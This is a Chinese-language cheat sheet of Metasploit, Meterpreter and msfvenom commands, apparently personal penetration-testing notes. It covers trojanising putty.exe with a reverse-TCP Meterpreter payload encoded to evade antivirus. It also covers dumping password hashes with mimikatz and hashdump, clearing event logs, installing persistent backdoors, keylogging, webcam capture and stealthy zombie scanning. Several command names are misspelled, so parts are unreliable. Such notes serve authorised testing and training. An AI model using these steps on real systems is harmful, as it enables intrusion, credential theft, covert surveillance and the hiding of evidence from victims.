MsfconsoleCommand
back 退出當前的模塊
banner 顯示一個msf的圖像
check 檢查當前的目標是否支持該exploits
show options 顯示當前exploites的選項
connect 遠程連接 ip+ port
edit 在vim中打開當前的exploits 然后進行編輯
exit 退出msfconsole環境
grep 和 linux中的grep一樣,從目標中抓取flag,eg:grep http search oracle
info 顯示當前exploits的詳細信息
irb 進入一個Ruby的交互式shell,可以動態的交互並創建metasploit的腳本
jobs -h 對當前的工作進行操作
kill+jobid 通過job id 來終結某個job
load 從metasploit插件庫中加載一些插件
loadpath 通過path來添加一些第三方的插件到metasploit中
unload 卸載
resource 通過msfconsole加載一些源代碼並運行,也可以用來執行一些批量的腳本
route 添加路由功能
search 搜索一些你想知道的模塊或者exploit或者
help search 查看 search的幫助
search name:通過name 來進行關鍵字搜索
search platform:通過平台來縮小搜索范圍
search type:通過類型來縮小范圍,such as auxiliary,post,exploit,etc
search author:通過你喜愛的作者來搜索
search name: author: platform:搜索時可以多選項縮小范圍
session 會話管理 session-l 可以列個列表
session -i id 可以連接id對應的session 並且出現一個可交互的shell
set 為當前的模塊哦欸之option和parameters
unset 移除自己配置的parameters
setg/unsetg 設置/移除全局變量,創建一個全局變量可以節省自己的時間
save 將當前的配置和屬性保存下來
auxiliary 輔助模塊(scanner,denial of service modules,fuzzers)
exploits 攻擊模塊,metasploit的核心,保存了各種漏洞
payloads 有效載荷
在利用模塊中show targets 會顯示哪些目標是受支持的
show advanced 顯示高級選項
show nops 顯示metasploit提供的nop生成器
payloads
msf payloads
stager 在攻擊者和受害者之間建立一個通信信道,在一個階段有效負載中讀取遠程主機
meterpreter 通過dll注入操作,完全駐留在內存中,不在硬盤上留下痕跡所以傳統的取證難以發現
PassiveX可以幫助繞過限制的出站防火牆。它通過使用ActiveX控件創建一個隱藏的Internet Explorer實例來實現這一點。通過使用新的ActiveX控件,它通過HTTP請求和響應與攻擊者進行通信。
NoNx 用來規避DEP,在某些cpu中存在DEP,防止代碼在內存的某些區域運行
Reflective DLL injection 反射式DLL注入,將階段有效載荷注入到內存中運行的主機進程中,而不觸及主機硬盤。VNC和Meterpreter都使用了反射式dll注入
Generating Payloads
在沒有任何命令的情況下生成Shellcode只需要直接使用generate,
使用generate -b ‘/x00/‘可以刪除空字符,有效縮小shellcode的大小
Meterpreter
Using Meterpreter Commands
background 在Meterpreter 和msf之間切換
clearev 清除Windows系統中的應用信息和安全日志。無選項和參數
download 下載遠程文件,在下載windows系統下的文件時,注意雙斜線
edit 用vi打開文件並編輯
execute 在目的機器上打開一個命令行。execute -f cmd.exe -I -h
getuid 顯示在Meterpreter服務器上運行的用戶
hashdump 轉儲SAM數據庫的數據
idletime 顯示遠程機器上的用戶的空閑時間
lpwd 顯示當前的Meterpreter的運行路徑
lcd 直接在Meterpreter中切換你的工作目錄,使得可以直接訪問目的路徑的文件
ps 顯示目標機器上正在運行的進程
search 可以搜索目標機器的文件,可以搜索整個系統,也可以制定文件夾,可使用通配符
shell 提供一個目標機器上的原生的shell
upload 可以上傳文件或文件夾到目標機器
webcam_list 從Meterpreter shell中運行,可以顯示目標機器上的可用的網絡攝像頭
webcam_snap 利用當前的目標機器的可用的網絡攝像頭來截圖成jpeg 並保存。
Execute 在目標機器中執行文件
getwd 獲取當前目標機器的工作目錄,也可以獲得當前系統的工作目錄
download 從目標機器上下載或者文件到攻擊機
route 查看路由
protfwd meterfreter內嵌的端口轉發器
ps 通過ps查看進程
migrate +pid可以將meterpreter會話從一個進程移植到另一個進程的內存空間。這樣只要這個進程不結束,meterpreter會話就不會關閉。
Python_execute
下面的語句都在Meterpreter環境中
Python_execute +python語句 來實現python的使用
Python_execute “import os ;cd=os.getpwd()” -r cd 。用-r 可以實現對當前變量的打印
Python_import -f +path 用來在meterpreter中引入python文件,使用-f來指定文件
Port Scanning
RHOSTS可以設定ip的范圍,CIDR范圍和以逗號分割的多個范圍以及以行分割的主機列表文件
THREADS 為掃描儀的並發線程數 默認為1,但是有具體的規則:在win32系統上時保持在16以下,在Cygwin 下要保持在200一下,類Linux系統中可以threads高於256
db_nmap 使用nmap 掃描並將掃描結果保存在database中
nmap-oA 來運行nmap 掃描 會將結果生成三個輸出文件,然后用db_import來填充數據庫
search portscan 來搜索msf框架中可用的portscanner
auxiliary/scanner/smb/snb_version 可以用來探測目標機器上的操作系統版本 和主機名
auxiliary/scanner/ip/ipidseq 掃描目前網絡中的空閑主機,利用該空閑主機來掃描其他主機,利用僵屍機達到自己隱身的目的
在ipidseq環境中使用nmap+參數+僵屍IP+目的ip來達到使用僵屍發起nmap掃描的目的
Using Metasploit to find vnlnerable mssql systems(microsoft sql server)
先使用 auxiliary/scanner/mssql/mssql_ping 設置參數后 進行發現 若發現存活的mssql服務器則可以使用auxiliary/admin/mssql/mssql_exec來進行exploit。也可以使用THC-Hydra和medusa等工具進行暴力破解
Service Identification
SSH服務發現 port(22)、FTP服務 port(21)
Extending Psnuffle
所有的模塊都位於data/exploits/psnuffle中,名稱與psnuffle使用的協議名稱想對應,通常使用正則表達式
SNMP Sweeping
在metasploit中有SNMP輔助模塊,metasploit有一個專用於清楚SNMP設備的內置輔助模塊。在執行前需要修改/etc/default/snmpd中的SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 127.0.0.1'
127.0.0.1修改位0.0.0.0,這是因為默認只掃描本地的snmp .然后重啟服務
當進行SNMP查詢時,存在MIB API ,MIB 是管理信息庫,該界面允許查詢設備並提取信息,metasploit默認加載了數據庫中的MIB列表
Search snmp 來查看可利用的snmp 掃描模塊
Writing your own security scanner
后續 詳細
Msfvenom
必要的選項 -p 和 -f
-p指定payload 需要在后跟上參數 lhost=… lport=..等等 ,具體看options
-f指定payload的輸出格式
-b會自動調用編碼器
-e使用編碼模塊
-i 后跟迭代次數 進行多次編碼,某些情況下迭代編碼可以起到規避殺毒軟件
Msfvenom –help-formats 查看msf支持的輸出格式
Msfvenom -l payloads 列出payloads清單
Msfvenom -l encoder 列出編碼方法
Msfvenom -l nops 空字段模塊/為了繞過和免殺
反彈回meterpreter會話的payload:
Msfvenom -p windows/meterpreter/reverse_tcp LOST=自己的ip LPORT=444 -f exe -o payload.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -a x86 --platform windows -e x86/shikata_ga_nai -i 3 -x /root/下載/putty.exe -k -f exe -o /root/桌面/putty_evil.exe
meterpreter在后滲透中的應用
0x01權限提升
getudid 獲取當前用戶id getsystem
0x02域管理員嗅探
Use post/windows/gather/enum_domain
0x03抓取密碼
Load minikatz
Windows/gather/hashdump
0x04日志清除
Clearev
0x05 backdoor
Metsvc
Exploit/multi/hander
Payload windows/metsvc_bind_tcp
Persistence 自啟動安裝 會留一個后門,並且添加進啟動項
0x06鍵盤記錄
Keyscan_start
Keyscan_dump
Keyscan_stop
0x07進程注入
0x08截屏
Use espia
Screen
Screenrab